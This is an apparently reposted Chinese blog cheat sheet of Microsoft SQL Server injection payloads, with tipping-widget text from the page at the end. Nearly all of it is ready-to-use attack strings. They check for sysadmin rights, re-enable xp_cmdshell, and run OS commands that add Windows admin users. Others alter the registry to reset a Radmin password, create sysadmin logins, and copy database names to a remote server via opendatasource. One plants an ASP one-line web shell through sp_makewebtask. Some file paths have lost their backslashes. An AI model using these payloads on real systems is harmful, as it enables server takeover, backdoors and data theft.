SQL命令注入汇总

原文地址:SQL命令注入汇总 作者:零℃的吻
//看看是什么权限的
and 1=(Select IS_MEMBER(’db_owner’))
And char(124)+Cast(IS_MEMBER(’db_owner’) as varchar(1))+char(124)=1 ;--

//检测是否有读取某数据库的权限
and 1= (Select HAS_DBACCESS(’master’))
And char(124)+Cast(HAS_DBACCESS(’master’) as varchar(1))+char(124)=1 --


数字类型
and char(124)+user+char(124)=0

字符类型
’ and char(124)+user+char(124)=0 and ’’=’

搜索类型
’ and char(124)+user+char(124)=0 and ’%’=’

爆用户名
and user>0
’ and user>0 and ’’=’

检测是否为SA权限
and 1=(select IS_SRVROLEMEMBER(’sysadmin’));--
And char(124)+Cast(IS_SRVROLEMEMBER(0x730079007300610064006D 0069006E00) as varchar(1))+char(124)=1 --

检测是不是MSSQL数据库
and exists (select * from sysobjects);--   

检测是否支持多行
;declare @d int;--   

恢复 xp_cmdshell
;exec master..dbo.sp_addextendedproc ’xp_cmdshell’,’xplog70.dll’;--


select * from openrowset(’sqloledb’,’server=192.168.1.200,1433;uid=test;pwd=pafpaf’,’select @@version’)

//-----------------------
//            执行命令
//-----------------------
首先开启沙盘模式:
exec master..xp_regwrite ’HKEY_LOCAL_MACHINE’,’SOFTWAREMicrosoftJet4.0Engines’,’SandBoxMode’,’REG_DWORD’,1

然后利用jet.oledb执行系统命令
select * from openrowset(’microsoft.jet.oledb.4.0’,’;database=c:winntsystem32iasias.mdb’,’select shell("cmd.exe /c net user admin admin1234 /add")’)

执行命令
;DECLARE @shell INT EXEC SP_OAcreate ’wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD @shell,’run’,null, ’C:WINNTsystem32cmd.exe /c net user paf pafpaf /add’;--

EXEC [master].[dbo].[xp_cmdshell] ’cmd /c md c:1111’

判断xp_cmdshell扩展存储过程是否存在:
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = ’X’ AND name = ’xp_cmdshell’)

写注册表
exec master..xp_regwrite ’HKEY_LOCAL_MACHINE’,’SOFTWAREMicrosoftJet4.0Engines’,’SandBoxMode’,’REG_DWORD’,1

REG_SZ

读注册表
exec master..xp_regread ’HKEY_LOCAL_MACHINE’,’SOFTWAREMicrosoftWindows NTCurrentVersionWinlogon ’,’Userinit’

读取目录内容
exec master..xp_dirtree ’c:winntsystem32’,1,1


数据库备份
backup database pubs to disk = ’c:123.bak’

//爆出长度
And (Select char(124)+Cast(Count(1) as varchar(8000))+char(124) From D99_Tmp)=0 ;--

   

更改sa口令方法:用sql综合利用工具连接后,执行命令:
exec sp_password NULL,’新密码’,’sa’

添加和删除一个SA权限的用户test:
exec master.dbo.sp_addlogin test,ptlove
exec master.dbo.sp_addsrvrolemember test,sysadmin

删除扩展存储过过程xp_cmdshell的语句:   
exec sp_dropextendedproc ’xp_cmdshell’

添加扩展存储过过程
EXEC [master]..sp_addextendedproc ’xp_proxiedadata’, ’c:winntsystem32sqllog.dll’   
GRANT exec On xp_proxiedadata TO public   


停掉或激活某个服务。   

exec master..xp_servicecontrol ’stop’,’schedule’
exec master..xp_servicecontrol ’start’,’schedule’

dbo.xp_subdirs

只列某个目录下的子目录。
xp_getfiledetails ’C:InetpubwwwrootSQLInjectl ogin.asp’

dbo.xp_makecab

将目标多个档案压缩到某个目标档案之内。
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。

dbo.xp_makecab
’c:test.cab’,’mszip’,1,
’C:InetpubwwwrootSQLInjectl ogin.asp’,
’C:InetpubwwwrootSQLInjects ecurelogin.asp’

xp_terminate_process

停掉某个执行中的程序,但赋予的参数是 Process ID。
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID

xp_terminate_process 2484

xp_unpackcab

解开压缩档。

xp_unpackcab ’c:test.cab’,’c:temp’,1


某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用 regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite ’HKEY_LOCAL_MACHINE’,’SYSTEMRAdminv2.0 Server Parameters’,’Parameter’,’REG_BINARY’,0x02ba5e187e2589be6f80da 0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite ’HKEY_LOCAL_MACHINE’,’SYSTEMRAdminv2.0 ServerParameters’,’port’,’REG_BINARY’,0xd20400 则端口值改为1234

create database lcx;
Create TABLE ku(name nvarchar(256) null);
Create TABLE biao(id int NULL,name nvarchar(256) null);

//得到数据库名
insert into opendatasource(’sqloledb’,’server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx’).lcx.dbo.ku select name from master.dbo.sysdatabases


//在Master中创建表,看看权限怎样
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--

用 sp_makewebtask直接在web目录里写入一句话马:
’’ ’">http://127.0.0.1/dblogin123.asp?username=123’;exec sp_makewebtask ’d:wwwtt88.asp’,’ select ’’<%execute(request("a"))%>’’ ’;--

//更新表内容
Update films SET kind = ’Dramatic’ Where id = 123

//删除内容
delete from table_name where Stockid = 3
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值